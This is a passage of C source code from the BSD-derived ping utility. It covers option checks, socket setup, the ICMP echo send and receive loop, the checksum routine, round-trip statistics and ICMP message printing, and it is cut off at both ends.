	if (options & F_FLOOD && options & F_INTERVAL)
		errx(EX_USAGE, "-f and -i: incompatible options");

	if (options & F_FLOOD && IN_MULTICAST(ntohl(to->sin_addr.s_addr)))
		errx(EX_USAGE,
		    "-f flag cannot be used with multicast destination");
	if (options & (F_MIF | F_NOLOOP | F_MTTL)
	    && !IN_MULTICAST(ntohl(to->sin_addr.s_addr)))
		errx(EX_USAGE,
		    "-I, -L, -T flags cannot be used with unicast destination");

	if (datalen >= TIMEVAL_LEN)	/* can we time transfer */
		timing = 1;

	if (!(options & F_PINGFILLED))
		for (i = TIMEVAL_LEN; i < datalen; ++i)
			*datap++ = i;

	ident = getpid() & 0xFFFF;

	if (s < 0) {
		errno = sockerrno;
		err(EX_OSERR, "socket");
	}
	hold = 1;
	if (ifscope != 0) {
		if (setsockopt(s, IPPROTO_IP, IP_BOUND_IF,
		    (char *)&ifscope, sizeof (ifscope)) != 0)
			err(EX_OSERR, "setsockopt(IP_BOUND_IF)");
	}
#if defined(IP_FORCE_OUT_IFP) && TARGET_OS_EMBEDDED
	else if (boundifname[0] != 0) {
		if (setsockopt(s, IPPROTO_IP, IP_FORCE_OUT_IFP, boundifname,
		    sizeof (boundifname)) != 0)
			err(EX_OSERR, "setsockopt(IP_FORCE_OUT_IFP)");
	}
#endif /* IP_FORCE_OUT_IFP */
	if (options & F_SO_DEBUG)
		(void)setsockopt(s, SOL_SOCKET, SO_DEBUG, (char *)&hold,
		    sizeof(hold));
	if (options & F_SO_DONTROUTE)
		(void)setsockopt(s, SOL_SOCKET, SO_DONTROUTE, (char *)&hold,
		    sizeof(hold));
#ifdef IPSEC
#ifdef IPSEC_POLICY_IPSEC
	if (options & F_POLICY) {
		char *buf;
		if (policy_in != NULL) {
			buf = ipsec_set_policy(policy_in, strlen(policy_in));
			if (buf == NULL)
				errx(EX_CONFIG, "%s", ipsec_strerror());
			if (setsockopt(s, IPPROTO_IP, IP_IPSEC_POLICY,
					buf, ipsec_get_policylen(buf)) < 0)
				err(EX_CONFIG,
				    "ipsec policy cannot be configured");
			free(buf);
		}

		if (policy_out != NULL) {
			buf = ipsec_set_policy(policy_out, strlen(policy_out));
			if (buf == NULL)
				errx(EX_CONFIG, "%s", ipsec_strerror());
			if (setsockopt(s, IPPROTO_IP, IP_IPSEC_POLICY,
					buf, ipsec_get_policylen(buf)) < 0)
				err(EX_CONFIG,
				    "ipsec policy cannot be configured");
			free(buf);
		}
	}
#endif /*IPSEC_POLICY_IPSEC*/
#endif /*IPSEC*/

	if (options & F_HDRINCL) {
		ip = (struct ip*)outpackhdr;
		if (!(options & (F_TTL | F_MTTL))) {
			mib[0] = CTL_NET;
			mib[1] = PF_INET;
			mib[2] = IPPROTO_IP;
			mib[3] = IPCTL_DEFTTL;
			sz = sizeof(ttl);
			if (sysctl(mib, 4, &ttl, &sz, NULL, 0) == -1)
				err(1, "sysctl(net.inet.ip.ttl)");
		}
		setsockopt(s, IPPROTO_IP, IP_HDRINCL, &hold, sizeof(hold));
		ip->ip_v = IPVERSION;
		ip->ip_hl = sizeof(struct ip) >> 2;
		ip->ip_tos = tos;
		ip->ip_id = 0;
		ip->ip_off = df ? IP_DF : 0;
		ip->ip_ttl = ttl;
		ip->ip_p = IPPROTO_ICMP;
		ip->ip_src.s_addr = source ? sock_in.sin_addr.s_addr : INADDR_ANY;
		ip->ip_dst = to->sin_addr;
        }
	/* record route option */
	if (options & F_RROUTE) {
#ifdef IP_OPTIONS
		bzero(rspace, sizeof(rspace));
		rspace[IPOPT_OPTVAL] = IPOPT_RR;
		rspace[IPOPT_OLEN] = sizeof(rspace) - 1;
		rspace[IPOPT_OFFSET] = IPOPT_MINOFF;
		rspace[sizeof(rspace) - 1] = IPOPT_EOL;
		if (setsockopt(s, IPPROTO_IP, IP_OPTIONS, rspace,
		    sizeof(rspace)) < 0)
			err(EX_OSERR, "setsockopt IP_OPTIONS");
#else
		errx(EX_UNAVAILABLE,
		    "record route not available in this implementation");
#endif /* IP_OPTIONS */
	}

	if (options & F_TTL) {
		if (setsockopt(s, IPPROTO_IP, IP_TTL, &ttl,
		    sizeof(ttl)) < 0) {
			err(EX_OSERR, "setsockopt IP_TTL");
		}
	}
	if (options & F_NOLOOP) {
		if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_LOOP, &loop,
		    sizeof(loop)) < 0) {
			err(EX_OSERR, "setsockopt IP_MULTICAST_LOOP");
		}
	}
	if (options & F_MTTL) {
		if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_TTL, &mttl,
		    sizeof(mttl)) < 0) {
			err(EX_OSERR, "setsockopt IP_MULTICAST_TTL");
		}
	}
	if (options & F_MIF) {
		if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF, &ifaddr,
		    sizeof(ifaddr)) < 0) {
			err(EX_OSERR, "setsockopt IP_MULTICAST_IF");
		}
	}
#ifdef SO_TIMESTAMP
	{ int on = 1;
	if (setsockopt(s, SOL_SOCKET, SO_TIMESTAMP, &on, sizeof(on)) < 0)
		err(EX_OSERR, "setsockopt SO_TIMESTAMP");
	}
#endif
	if (sweepmax) {
		if (sweepmin >= sweepmax)
			errx(EX_USAGE, "Maximum packet size must be greater than the minimum packet size");

		if (datalen != DEFDATALEN)
			errx(EX_USAGE, "Packet size and ping sweep are mutually exclusive");

		if (npackets > 0) {
			snpackets = npackets;
			npackets = 0;
		} else
			snpackets = 1;
		datalen = sweepmin;
		send_len = icmp_len + sweepmin;
	}
	if (options & F_SWEEP && !sweepmax) 
		errx(EX_USAGE, "Maximum sweep size must be specified");

	/*
	 * When pinging the broadcast address, you can get a lot of answers.
	 * Doing something so evil is useful if you are trying to stress the
	 * ethernet, or just want to fill the arp cache to get some stuff for
	 * /etc/ethers.  But beware: RFC 1122 allows hosts to ignore broadcast
	 * or multicast pings if they wish.
	 */

	/*
	 * XXX receive buffer needs undetermined space for mbuf overhead
	 * as well.
	 */
	hold = IP_MAXPACKET + 128;
	(void)setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *)&hold,
	    sizeof(hold));
	if (uid == 0)
		(void)setsockopt(s, SOL_SOCKET, SO_SNDBUF, (char *)&hold,
		    sizeof(hold));

	if (to->sin_family == AF_INET) {
		(void)printf("PING %s (%s)", hostname,
		    inet_ntoa(to->sin_addr));
		if (source)
			(void)printf(" from %s", shostname);
		if (sweepmax)
			(void)printf(": (%d ... %d) data bytes\n",
			    sweepmin, sweepmax);
		else 
			(void)printf(": %d data bytes\n", datalen);
		
	} else {
		if (sweepmax)
			(void)printf("PING %s: (%d ... %d) data bytes\n",
			    hostname, sweepmin, sweepmax);
		else
			(void)printf("PING %s: %d data bytes\n", hostname, datalen);
	}

	/*
	 * Use sigaction() instead of signal() to get unambiguous semantics,
	 * in particular with SA_RESTART not set.
	 */

	sigemptyset(&si_sa.sa_mask);
	si_sa.sa_flags = 0;

	si_sa.sa_handler = stopit;
	if (sigaction(SIGINT, &si_sa, 0) == -1) {
		err(EX_OSERR, "sigaction SIGINT");
	}

	si_sa.sa_handler = status;
	if (sigaction(SIGINFO, &si_sa, 0) == -1) {
		err(EX_OSERR, "sigaction");
	}

        if (alarmtimeout > 0) {
		si_sa.sa_handler = stopit;
		if (sigaction(SIGALRM, &si_sa, 0) == -1)
			err(EX_OSERR, "sigaction SIGALRM");
        }

	bzero(&msg, sizeof(msg));
	msg.msg_name = (caddr_t)&from;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
#ifdef SO_TIMESTAMP
	msg.msg_control = (caddr_t)ctrl;
#endif
	iov.iov_base = packet;
	iov.iov_len = IP_MAXPACKET;

	if (preload == 0)
		pinger();		/* send the first ping */
	else {
		if (npackets != 0 && preload > npackets)
			preload = npackets;
		while (preload--)	/* fire off them quickies */
			pinger();
	}
	(void)gettimeofday(&last, NULL);

	if (options & F_FLOOD) {
		intvl.tv_sec = 0;
		intvl.tv_usec = 10000;
	} else {
		intvl.tv_sec = interval / 1000;
		intvl.tv_usec = interval % 1000 * 1000;
	}

	almost_done = 0;
	while (!finish_up) {
		struct timeval now, timeout;
		fd_set rfds;
		int cc, n;

		check_status();
		if ((unsigned)s >= FD_SETSIZE)
			errx(EX_OSERR, "descriptor too large");
		FD_ZERO(&rfds);
		FD_SET(s, &rfds);
		(void)gettimeofday(&now, NULL);
		timeout.tv_sec = last.tv_sec + intvl.tv_sec - now.tv_sec;
		timeout.tv_usec = last.tv_usec + intvl.tv_usec - now.tv_usec;
		while (timeout.tv_usec < 0) {
			timeout.tv_usec += 1000000;
			timeout.tv_sec--;
		}
		while (timeout.tv_usec >= 1000000) {
			timeout.tv_usec -= 1000000;
			timeout.tv_sec++;
		}
		if (timeout.tv_sec < 0)
			timeout.tv_sec = timeout.tv_usec = 0;
		n = select(s + 1, &rfds, NULL, NULL, &timeout);
		if (n < 0)
			continue;	/* Must be EINTR. */
		if (n == 1) {
			struct timeval *tv = NULL;
#ifdef SO_TIMESTAMP
			struct cmsghdr *cmsg = (struct cmsghdr *)&ctrl;

			msg.msg_controllen = sizeof(ctrl);
#endif
			msg.msg_namelen = sizeof(from);
			if ((cc = recvmsg(s, &msg, 0)) < 0) {
				if (errno == EINTR)
					continue;
				warn("recvmsg");
				continue;
			}
#ifdef SO_TIMESTAMP
			if (cmsg->cmsg_level == SOL_SOCKET &&
			    cmsg->cmsg_type == SCM_TIMESTAMP &&
			    cmsg->cmsg_len == CMSG_LEN(sizeof *tv)) {
				/* Copy to avoid alignment problems: */
				memcpy(&now, CMSG_DATA(cmsg), sizeof(now));
				tv = &now;
			}
#endif
			if (tv == NULL) {
				(void)gettimeofday(&now, NULL);
				tv = &now;
			}
			pr_pack((char *)packet, cc, &from, tv);
			if ((options & F_ONCE && nreceived) ||
			    (npackets && nreceived >= npackets))
				break;
		}
		if (n == 0 || options & F_FLOOD) {
			if (sweepmax && sntransmitted == snpackets) {
				for (i = 0; i < sweepincr ; ++i) 
					*datap++ = i;
				datalen += sweepincr;
				if (datalen > sweepmax)
					break;
				send_len = icmp_len + datalen;
				sntransmitted = 0;
			} 
			if (!npackets || ntransmitted < npackets)
				pinger();
			else {
				if (almost_done)
					break;
				almost_done = 1;
				intvl.tv_usec = 0;
				if (nreceived) {
					intvl.tv_sec = 2 * tmax / 1000;
					if (!intvl.tv_sec)
						intvl.tv_sec = 1;
				} else {
					intvl.tv_sec = waittime / 1000;
					intvl.tv_usec = waittime % 1000 * 1000;
				}
			}
			(void)gettimeofday(&last, NULL);
			if (ntransmitted - nreceived - 1 > nmissedmax) {
				nmissedmax = ntransmitted - nreceived - 1;
				if (options & F_MISSED)
					(void)write(STDOUT_FILENO, &BBELL, 1);
				if (!(options & F_QUIET))
					printf("Request timeout for icmp_seq %ld\n", ntransmitted - 2);
			}
		}
	}
	finish();
	/* NOTREACHED */
	exit(0);	/* Make the compiler happy */
}



/*
 * stopit --
 *	Set the global bit that causes the main loop to quit.
 * Do NOT call finish() from here, since finish() does far too much
 * to be called from a signal handler.
 */
void
stopit(sig)
	int sig __unused;
{

	/*
	 * When doing reverse DNS lookups, the finish_up flag might not
	 * be noticed for a while.  Just exit if we get a second SIGINT.
	 */
	if (!(options & F_NUMERIC) && finish_up)
		_exit(nreceived ? 0 : 2);
	finish_up = 1;
}

/*
 * pinger --
 *	Compose and transmit an ICMP ECHO REQUEST packet.  The IP packet
 * will be added on by the kernel.  The ID field is our UNIX process ID,
 * and the sequence number is an ascending integer.  The first TIMEVAL_LEN
 * bytes of the data portion are used to hold a UNIX "timeval" struct in
 * host byte-order, to compute the round-trip time.
 */
static void
pinger(void)
{
	struct timeval now;
	struct tv32 tv32;
	struct ip *ip;
	struct icmp *icp;
	int cc, i;
	u_char *packet;

	packet = outpack;
	icp = (struct icmp *)outpack;
	icp->icmp_type = icmp_type;
	icp->icmp_code = 0;
	icp->icmp_cksum = 0;
	icp->icmp_seq = htons(ntransmitted);
	icp->icmp_id = ident;			/* ID */

	CLR(ntransmitted % mx_dup_ck);

	if ((options & F_TIME) || timing) {
		(void)gettimeofday(&now, NULL);

		tv32.tv32_sec = htonl(now.tv_sec);
		tv32.tv32_usec = htonl(now.tv_usec);
		if (options & F_TIME)
			icp->icmp_otime = htonl((now.tv_sec % (24*60*60))
				* 1000 + now.tv_usec / 1000);
		if (timing)
			bcopy((void *)&tv32,
			    (void *)&outpack[ICMP_MINLEN + phdr_len],
			    sizeof(tv32));
	}

	cc = ICMP_MINLEN + phdr_len + datalen;

	/* compute ICMP checksum here */
	icp->icmp_cksum = in_cksum((u_short *)icp, cc);

	if (options & F_HDRINCL) {
		cc += sizeof(struct ip);
		ip = (struct ip *)outpackhdr;
		ip->ip_len = cc;
		ip->ip_sum = in_cksum((u_short *)outpackhdr, cc);
		packet = outpackhdr;
	}
	i = sendto(s, (char *)packet, cc, 0, (struct sockaddr *)&whereto,
	    sizeof(whereto));

	if (i < 0 || i != cc)  {
		if (i < 0) {
			if (options & F_FLOOD && errno == ENOBUFS) {
				usleep(FLOOD_BACKOFF);
				return;
			}
			warn("sendto");
		} else {
			warn("%s: partial write: %d of %d bytes",
			     hostname, i, cc);
		}
	}
	ntransmitted++;
	sntransmitted++;
	if (!(options & F_QUIET) && options & F_FLOOD)
		(void)write(STDOUT_FILENO, &DOT, 1);
}

/*
 * pr_pack --
 *	Print out the packet, if it came from us.  This logic is necessary
 * because ALL readers of the ICMP socket get a copy of ALL ICMP packets
 * which arrive ('tis only fair).  This permits multiple copies of this
 * program to be run without having intermingled output (or statistics!).
 */
static void
pr_pack(buf, cc, from, tv)
	char *buf;
	int cc;
	struct sockaddr_in *from;
	struct timeval *tv;
{
	struct in_addr ina;
	u_char *cp, *dp;
	struct icmp *icp;
	struct ip *ip;
	const void *tp;
	double triptime;
	int dupflag, hlen, i, j, recv_len, seq;
	static int old_rrlen;
	static char old_rr[MAX_IPOPTLEN];

	/* Check the IP header */
	ip = (struct ip *)buf;
	hlen = ip->ip_hl << 2;
	recv_len = cc;
	if (cc < hlen + ICMP_MINLEN) {
		if (options & F_VERBOSE)
			warn("packet too short (%d bytes) from %s", cc,
			     inet_ntoa(from->sin_addr));
		return;
	}

	/* Now the ICMP part */
	cc -= hlen;
	icp = (struct icmp *)(buf + hlen);
	if (icp->icmp_type == icmp_type_rsp) {
		if (icp->icmp_id != ident)
			return;			/* 'Twas not our ECHO */
		++nreceived;
		triptime = 0.0;
		if (timing) {
			struct timeval tv1;
			struct tv32 tv32;
#ifndef icmp_data
			tp = &icp->icmp_ip;
#else
			tp = icp->icmp_data;
#endif
			tp = (const char *)tp + phdr_len;

			if (cc - ICMP_MINLEN - phdr_len >= sizeof(tv1)) {
				/* Copy to avoid alignment problems: */
				memcpy(&tv32, tp, sizeof(tv32));
				tv1.tv_sec = ntohl(tv32.tv32_sec);
				tv1.tv_usec = ntohl(tv32.tv32_usec);
				tvsub(tv, &tv1);
 				triptime = ((double)tv->tv_sec) * 1000.0 +
 				    ((double)tv->tv_usec) / 1000.0;
				tsum += triptime;
				tsumsq += triptime * triptime;
				if (triptime < tmin)
					tmin = triptime;
				if (triptime > tmax)
					tmax = triptime;
			} else
				timing = 0;
		}

		seq = ntohs(icp->icmp_seq);

		if (TST(seq % mx_dup_ck)) {
			++nrepeats;
			--nreceived;
			dupflag = 1;
		} else {
			SET(seq % mx_dup_ck);
			dupflag = 0;
		}

		if (options & F_QUIET)
			return;
	
		if (options & F_WAITTIME && triptime > waittime) {
			++nrcvtimeout;
			return;
		}

		if (options & F_FLOOD)
			(void)write(STDOUT_FILENO, &BSPACE, 1);
		else {
			(void)printf("%d bytes from %s: icmp_seq=%u", cc,
			   inet_ntoa(*(struct in_addr *)&from->sin_addr.s_addr),
			   seq);
			(void)printf(" ttl=%d", ip->ip_ttl);
			if (timing)
				(void)printf(" time=%.3f ms", triptime);
			if (dupflag) {
				if (!IN_MULTICAST(ntohl(whereto.sin_addr.s_addr)))
					(void)printf(" (DUP!)");
			}
			if (options & F_AUDIBLE)
				(void)write(STDOUT_FILENO, &BBELL, 1);
			if (options & F_MASK) {
				/* Just prentend this cast isn't ugly */
				(void)printf(" mask=%s",
					pr_addr(*(struct in_addr *)&(icp->icmp_mask)));
			}
			if (options & F_TIME) {
				(void)printf(" tso=%s", pr_ntime(icp->icmp_otime));
				(void)printf(" tsr=%s", pr_ntime(icp->icmp_rtime));
				(void)printf(" tst=%s", pr_ntime(icp->icmp_ttime));
			}
			if (recv_len != send_len) {
                        	(void)printf(
				     "\nwrong total length %d instead of %d",
				     recv_len, send_len);
			}
			/* check the data */
			cp = (u_char*)&icp->icmp_data[phdr_len];
			dp = &outpack[ICMP_MINLEN + phdr_len];
			cc -= ICMP_MINLEN + phdr_len;
			i = 0;
			if (timing) {   /* don't check variable timestamp */
				cp += TIMEVAL_LEN;
				dp += TIMEVAL_LEN;
				cc -= TIMEVAL_LEN;
				i += TIMEVAL_LEN;
			}
			for (; i < datalen && cc > 0; ++i, ++cp, ++dp, --cc) {
				if (*cp != *dp) {
	(void)printf("\nwrong data byte #%d should be 0x%x but was 0x%x",
	    i, *dp, *cp);
					(void)printf("\ncp:");
					cp = (u_char*)&icp->icmp_data[0];
					for (i = 0; i < datalen; ++i, ++cp) {
						if ((i % 16) == 8)
							(void)printf("\n\t");
						(void)printf("%2x ", *cp);
					}
					(void)printf("\ndp:");
					cp = &outpack[ICMP_MINLEN];
					for (i = 0; i < datalen; ++i, ++cp) {
						if ((i % 16) == 8)
							(void)printf("\n\t");
						(void)printf("%2x ", *cp);
					}
					break;
				}
			}
		}
	} else {
		/*
		 * We've got something other than an ECHOREPLY.
		 * See if it's a reply to something that we sent.
		 * We can compare IP destination, protocol,
		 * and ICMP type and ID.
		 *
		 * Only print all the error messages if we are running
		 * as root to avoid leaking information not normally
		 * available to those not running as root.
		 */
#ifndef icmp_data
		struct ip *oip = &icp->icmp_ip;
#else
		struct ip *oip = (struct ip *)icp->icmp_data;
#endif
		struct icmp *oicmp = (struct icmp *)(oip + 1);

		if (((options & F_VERBOSE) && uid == 0) ||
		    (!(options & F_QUIET2) &&
		     (oip->ip_dst.s_addr == whereto.sin_addr.s_addr) &&
		     (oip->ip_p == IPPROTO_ICMP) &&
		     (oicmp->icmp_type == ICMP_ECHO) &&
		     (oicmp->icmp_id == ident))) {
		    (void)printf("%d bytes from %s: ", cc,
			pr_addr(from->sin_addr));
		    pr_icmph(icp);
		} else
		    return;
	}

	/* Display any IP options */
	cp = (u_char *)buf + sizeof(struct ip);

	for (; hlen > (int)sizeof(struct ip); --hlen, ++cp)
		switch (*cp) {
		case IPOPT_EOL:
			hlen = 0;
			break;
		case IPOPT_LSRR:
		case IPOPT_SSRR:
			(void)printf(*cp == IPOPT_LSRR ?
			    "\nLSRR: " : "\nSSRR: ");
			j = cp[IPOPT_OLEN] - IPOPT_MINOFF + 1;
			hlen -= 2;
			cp += 2;
			if (j >= INADDR_LEN &&
			    j <= hlen - (int)sizeof(struct ip)) {
				for (;;) {
					bcopy(++cp, &ina.s_addr, INADDR_LEN);
					if (ina.s_addr == 0)
						(void)printf("\t0.0.0.0");
					else
						(void)printf("\t%s",
						     pr_addr(ina));
					hlen -= INADDR_LEN;
					cp += INADDR_LEN - 1;
					j -= INADDR_LEN;
					if (j < INADDR_LEN)
						break;
					(void)putchar('\n');
				}
			} else
				(void)printf("\t(truncated route)\n");
			break;
		case IPOPT_RR:
			j = cp[IPOPT_OLEN];		/* get length */
			i = cp[IPOPT_OFFSET];		/* and pointer */
			hlen -= 2;
			cp += 2;
			if (i > j)
				i = j;
			i = i - IPOPT_MINOFF + 1;
			if (i < 0 || i > (hlen - (int)sizeof(struct ip))) {
				old_rrlen = 0;
				continue;
			}
			if (i == old_rrlen
			    && !bcmp((char *)cp, old_rr, i)
			    && !(options & F_FLOOD)) {
				(void)printf("\t(same route)");
				hlen -= i;
				cp += i;
				break;
			}
			old_rrlen = i;
			bcopy((char *)cp, old_rr, i);
			(void)printf("\nRR: ");
			if (i >= INADDR_LEN &&
			    i <= hlen - (int)sizeof(struct ip)) {
				for (;;) {
					bcopy(++cp, &ina.s_addr, INADDR_LEN);
					if (ina.s_addr == 0)
						(void)printf("\t0.0.0.0");
					else
						(void)printf("\t%s",
						     pr_addr(ina));
					hlen -= INADDR_LEN;
					cp += INADDR_LEN - 1;
					i -= INADDR_LEN;
					if (i < INADDR_LEN)
						break;
					(void)putchar('\n');
				}
			} else
				(void)printf("\t(truncated route)");
			break;
		case IPOPT_NOP:
			(void)printf("\nNOP");
			break;
		default:
			(void)printf("\nunknown option %x", *cp);
			break;
		}
	if (!(options & F_FLOOD)) {
		(void)putchar('\n');
		(void)fflush(stdout);
	}
}

/*
 * in_cksum --
 *	Checksum routine for Internet Protocol family headers (C Version)
 */
u_short
in_cksum(addr, len)
	u_short *addr;
	int len;
{
	int nleft, sum;
	u_short *w;
	union {
		u_short	us;
		u_char	uc[2];
	} last;
	u_short answer;

	nleft = len;
	sum = 0;
	w = addr;

	/*
	 * Our algorithm is simple, using a 32 bit accumulator (sum), we add
	 * sequential 16 bit words to it, and at the end, fold back all the
	 * carry bits from the top 16 bits into the lower 16 bits.
	 */
	while (nleft > 1)  {
		sum += *w++;
		nleft -= 2;
	}

	/* mop up an odd byte, if necessary */
	if (nleft == 1) {
		last.uc[0] = *(u_char *)w;
		last.uc[1] = 0;
		sum += last.us;
	}

	/* add back carry outs from top 16 bits to low 16 bits */
	sum = (sum >> 16) + (sum & 0xffff);	/* add hi 16 to low 16 */
	sum += (sum >> 16);			/* add carry */
	answer = ~sum;				/* truncate to 16 bits */
	return(answer);
}

/*
 * tvsub --
 *	Subtract 2 timeval structs:  out = out - in.  Out is assumed to
 * be >= in.
 */
static void
tvsub(out, in)
	struct timeval *out, *in;
{

	if ((out->tv_usec -= in->tv_usec) < 0) {
		--out->tv_sec;
		out->tv_usec += 1000000;
	}
	out->tv_sec -= in->tv_sec;
}

/*
 * status --
 *	Print out statistics when SIGINFO is received.
 */

static void
status(sig)
	int sig __unused;
{

	siginfo_p = 1;
}

static void
check_status()
{

	if (siginfo_p) {
		siginfo_p = 0;
		(void)fprintf(stderr, "\r%ld/%ld packets received (%.1f%%)",
		    nreceived, ntransmitted,
		    ntransmitted ? nreceived * 100.0 / ntransmitted : 0.0);
		if (nreceived && timing)
			(void)fprintf(stderr, " %.3f min / %.3f avg / %.3f max",
			    tmin, tsum / (nreceived + nrepeats), tmax);
		(void)fprintf(stderr, "\n");
	}
}

/*
 * finish --
 *	Print out statistics, and give up.
 */
static void
finish()
{

	(void)signal(SIGINT, SIG_IGN);
	(void)signal(SIGALRM, SIG_IGN);
	(void)putchar('\n');
	(void)fflush(stdout);
	(void)printf("--- %s ping statistics ---\n", hostname);
	(void)printf("%ld packets transmitted, ", ntransmitted);
	(void)printf("%ld packets received, ", nreceived);
	if (nrepeats)
		(void)printf("+%ld duplicates, ", nrepeats);
	if (ntransmitted) {
		if (nreceived > ntransmitted)
			(void)printf("-- somebody's printing up packets!");
		else
			(void)printf("%.1f%% packet loss",
			    ((ntransmitted - nreceived) * 100.0) /
			    ntransmitted);
	}
	if (nrcvtimeout)
		(void)printf(", %ld packets out of wait time", nrcvtimeout);
	(void)putchar('\n');
	if (nreceived && timing) {
		double n = nreceived + nrepeats;
		double avg = tsum / n;
		double vari = tsumsq / n - avg * avg;
		(void)printf(
		    "round-trip min/avg/max/stddev = %.3f/%.3f/%.3f/%.3f ms\n",
		    tmin, avg, tmax, sqrt(vari));
	}

	if (nreceived)
		exit(0);
	else
		exit(2);
}

#ifdef notdef
static char *ttab[] = {
	"Echo Reply",		/* ip + seq + udata */
	"Dest Unreachable",	/* net, host, proto, port, frag, sr + IP */
	"Source Quench",	/* IP */
	"Redirect",		/* redirect type, gateway, + IP  */
	"Echo",
	"Time Exceeded",	/* transit, frag reassem + IP */
	"Parameter Problem",	/* pointer + IP */
	"Timestamp",		/* id + seq + three timestamps */
	"Timestamp Reply",	/* " */
	"Info Request",		/* id + sq */
	"Info Reply"		/* " */
};
#endif

/*
 * pr_icmph --
 *	Print a descriptive string about an ICMP header.
 */
static void
pr_icmph(icp)
	struct icmp *icp;
{

	switch(icp->icmp_type) {
	case ICMP_ECHOREPLY:
		(void)printf("Echo Reply\n");
		/* XXX ID + Seq + Data */
		break;
	case ICMP_UNREACH:
		switch(icp->icmp_code) {
		case ICMP_UNREACH_NET:
			(void)printf("Destination Net Unreachable\n");
			break;
		case ICMP_UNREACH_HOST:
			(void)printf("Destination Host Unreachable\n");
			break;
		case ICMP_UNREACH_PROTOCOL:
			(void)printf("Destination Protocol Unreachable\n");
			break;
		case ICMP_UNREACH_PORT:
			(void)printf("Destination Port Unreachable\n");
			break;
		case ICMP_UNREACH_NEEDFRAG:
			(void)printf("frag needed and DF set (MTU %d)\n",
					ntohs(icp->icmp_nextmtu));
			break;
		case ICMP_UNREACH_SRCFAIL:
			(void)printf("Source Route Failed\n");
			break;
		case ICMP_UNREACH_FILTER_PROHIB:
			(void)printf("Communication prohibited by filter\n");
			break;
		default:
			(void)printf("Dest Unreachable, Bad Code: %d\n",
			    icp->icmp_code);
			break;
		}
		/* Print returned IP header information */
#ifndef icmp_data
		pr_retip(&icp->icmp_ip);
#else
		pr_retip((struct ip *)icp->icmp_data);
#endif
		break;
	case ICMP_SOURCEQUENCH:
		(void)printf("Source Quench\n");
#ifndef icmp_data
		pr_retip(&icp->icmp_ip);
#else
		pr_retip((struct ip *)icp->icmp_data);
#endif
		break;
	case ICMP_REDIRECT:
		switch(icp->icmp_code) {
		case ICMP_REDIRECT_NET:
			(void)printf("Redirect Network");
			break;
		case ICMP_REDIRECT_HOST:
			(void)printf("Redirect Host");
			break;
		case ICMP_REDIRECT_TOSNET:
			(void)printf("Redirect Type of Service and Network");
			break;
		case ICMP_REDIRECT_TOSHOST:
			(void)printf("Redirect Type of Service and Host");
			break;
		default:
			(void)printf("Redirect, Bad Code: %d", icp->icmp_code);
			break;
		}
		(void)printf("(New addr: %s)\n", inet_ntoa(icp->icmp_gwaddr));
#ifndef icmp_data
		pr_retip(&icp->icmp_ip);
#else
		pr_retip((struct ip *)icp->icmp_data);
#endif
		break;
	case ICMP_ECHO:
		(void)printf("Echo Request\n");
		/* XXX ID + Seq + Data */
		break;
	case ICMP_TIMXCEED:
		switch(icp->icmp_code) {
		case ICMP_TIMXCEED_INTRANS:
			(void)printf("Time to live exceeded\n");
			break;
		case ICMP_TIMXCEED_REASS:
			(void)printf("Frag reassembly time exceeded\n");
			break;
		default:
			(void)printf("Time exceeded, Bad Code: %d\n",
			    icp->icmp_code);
			break;
		}
#ifndef icmp_data
		pr_retip(&icp->icmp_ip);
#else
		pr_retip((struct ip *)icp->icmp_data);
#endif
		break;
	case ICMP_PARAMPROB:
		(void)printf("Parameter problem: pointer = 0x%02x\n",
		    icp->icmp_hun.ih_pptr);
#ifndef icmp_data
		pr_retip(&icp->icmp_ip);
#else
		pr_retip((struct ip *)icp->icmp_data);
#endif
		break;
	case ICMP_TSTAMP:
		(void)printf("Timestamp\n");
		/* XXX ID + Seq + 3 timestamps */
		break;
	case ICMP_TSTAMPREPLY:
		(void)printf("Timestamp Reply\n");
		/* XXX ID + Seq + 3 timestamps */
		break;
	case ICMP_IREQ:
		(void)printf("Information Request\n");
		/* XXX ID + Seq */
		break;
	case ICMP_IREQREPLY:
		(void)printf("Information Reply\n");
		/* XXX ID + Seq */
		break;
	case ICMP_MASKREQ:
		(void)printf("Address Mask Request\n");
		break;
	case ICMP_MASKREPLY:
		(void)printf("Address Mask Reply\n");
		break;
	case ICMP_ROUTERADVERT:
		(void)printf("Router Advertisement\n");
		break;
	case ICMP_ROUTERSOLICIT:
		(void)printf("Router Solicitation\n");
		break;
	default:
		(void)printf("Bad ICMP type: %d\n", icp->icmp_type);
	}
}

/*
 * pr_iph --
 *	Print an IP header with options.
 */
static void
pr_iph(ip)
	struct ip *ip;
{
	u_char *cp;
	int hlen;

	hlen = ip->ip_hl << 2;
	cp = (u_char *)ip + 20;		/* point to options */

	(void)printf("Vr HL TOS  Len   ID Flg  off TTL Pro  cks      Src      Dst\n");
	(void)printf(" %1x  %1x  %02x %04x %04x",
	    ip->ip_v, ip->ip_hl, ip->ip_tos, ntohs(ip->ip_len),
	    ntohs(ip->ip_id));
	(void)printf("   %1lx %04lx",
	    (u_long) (ntohl(ip->ip_off) & 0xe000) >> 13,
	    (u_long) ntohl(ip->ip_off) & 0x1fff);
	(void)printf("  %02x  %02x %04x", ip->ip_ttl, ip->ip_p,
							    ntohs(ip->ip_sum));
	(void)printf(" %s ", inet_ntoa(*(struct in_addr *)&ip->ip_src.s_addr));
	(void)printf(" %s ", inet_ntoa(*(struct in_addr *)&ip->ip_dst.s_addr));
	/* dump any option bytes */
	while (hlen-- > 20) {
		(void)printf("%02x", *cp++);
	}
	(void)putchar('\n');
}

/*
 * pr_addr --
 *	Return an ascii host address as a dotted quad and optionally with
 * a hostname.
 */
static char *
pr_addr(ina)
	struct in_addr ina;
{
	struct hostent *hp;
	static char buf[16 + 3 + MAXHOSTNAMELEN];

	if ((options & F_NUMERIC) ||
	    !(hp = gethostbyaddr((char *)&ina, 4, AF_INET)))
		return inet_ntoa(ina);
	else
		(void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name,
		    inet_ntoa(ina));
	return(buf);
}

/*
 * pr_retip --
 *	Dump some info on a returned (via ICMP) IP packet.
 */
static void
pr_retip(ip)
	struct ip *ip;
{
	u_char *cp;
	int hlen;

	pr_iph(ip);
	hlen = ip->ip_hl << 2;
	cp = (u_char *)ip + hlen;

	if (ip->ip_p == 6)
		(void)printf("TCP: from port %u, to port %u (decimal)\n",
